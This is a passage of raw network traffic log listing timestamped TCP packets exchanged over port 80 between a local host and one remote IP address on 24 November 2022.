Nov 24, 2022 16:57:33.476290941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476315022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476336956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476356983 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476360083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476382971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476385117 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476385117 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476407051 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476408005 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476432085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476453066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476459026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476480961 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476497889 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476502895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476525068 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476542950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476547956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476571083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476583004 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476594925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476618052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476634979 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476640940 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476663113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476681948 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476686001 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476706982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476728916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476732016 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476751089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476768017 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476773024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476795912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476814032 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476819038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476840973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476861000 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476861954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476883888 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476902962 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476906061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476928949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476944923 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476950884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476974010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.476990938 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.476995945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477019072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477035999 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477041006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477062941 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477080107 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477085114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477107048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477124929 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477129936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477153063 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477166891 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477174997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477193117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477210999 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477214098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477236032 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477252007 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477257967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477281094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477293968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477303982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477325916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477344036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477348089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477370024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477387905 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477391958 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477412939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477430105 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477435112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477457047 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477474928 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477478981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477502108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477520943 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477524996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477549076 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477564096 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477571011 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477592945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477608919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477615118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477637053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477654934 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477658987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477683067 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477700949 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477705002 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477727890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477746964 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477749109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477771044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477788925 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477792978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477816105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477833986 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477838039 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477860928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477879047 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477883101 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477905989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477924109 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477929115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477951050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477967978 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.477972984 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.477994919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478014946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478018045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478041887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478058100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478064060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478086948 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478105068 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478110075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478132010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478151083 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478153944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478176117 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478197098 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478199005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478220940 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478240967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478244066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478270054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478281975 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478292942 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478316069 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478333950 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478339911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478362083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478379965 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478384018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478408098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478425026 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478430986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478454113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478468895 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478487015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478508949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478527069 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478530884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478554010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478570938 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478575945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478599072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478615046 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478621006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478643894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478662014 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478667021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478688002 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478705883 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478709936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478739977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478748083 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478770971 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478796005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478817940 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478818893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478837013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478858948 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478861094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478899956 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478910923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478933096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478955030 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478975058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.478977919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.478998899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479021072 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479022026 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479043007 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479063988 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479065895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479089022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479110003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479110956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479134083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479152918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479157925 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479182005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479201078 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479202986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479226112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479247093 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479248047 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479271889 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479294062 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479293108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479316950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479336977 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479338884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479361057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479381084 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479382992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479406118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479424953 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479428053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479449034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479469061 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479470015 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479491949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479510069 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479515076 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479537010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479556084 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479559898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479582071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479604959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479605913 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479628086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479650974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479650974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479672909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479692936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479696035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479717970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479737043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479739904 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479762077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479782104 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479784966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479809046 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479831934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479835033 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479855061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479875088 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479877949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479901075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479921103 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479923964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479947090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479964972 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.479969978 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.479994059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.480012894 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.480016947 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.480036974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.480057955 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.480058908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.480082989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.480103016 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.544601917 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.370402098 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.387896061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.388130903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.588249922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.605261087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.605362892 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.605670929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.622490883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976826906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976860046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976880074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976898909 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976916075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976934910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976933956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.976953030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.976970911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.977003098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.977003098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.977036953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.981528044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.981545925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.981563091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.981579065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.981601954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.981642008 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.981905937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.981956005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.981972933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.982008934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.982013941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.982127905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.982713938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.982741117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.982762098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.982784033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.982798100 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.982848883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.983530998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.983572960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.983594894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.983623028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.983658075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.983707905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.984364033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.984416962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.984440088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.984462023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.984492064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.984529972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.985094070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.985119104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.985198975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.993973970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994015932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994044065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994071007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994072914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.994245052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994272947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994291067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.994301081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994340897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.994853020 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994899988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994921923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.994927883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994956017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.994988918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.995680094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.995719910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.995745897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.995755911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.995778084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.995804071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.998400927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.998436928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.998462915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.998492002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.998529911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.998722076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.998750925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.998776913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.998807907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:35.998807907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.998960018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:35.999469995 CET	80	49713	66.235.200.147	192.168.2.3
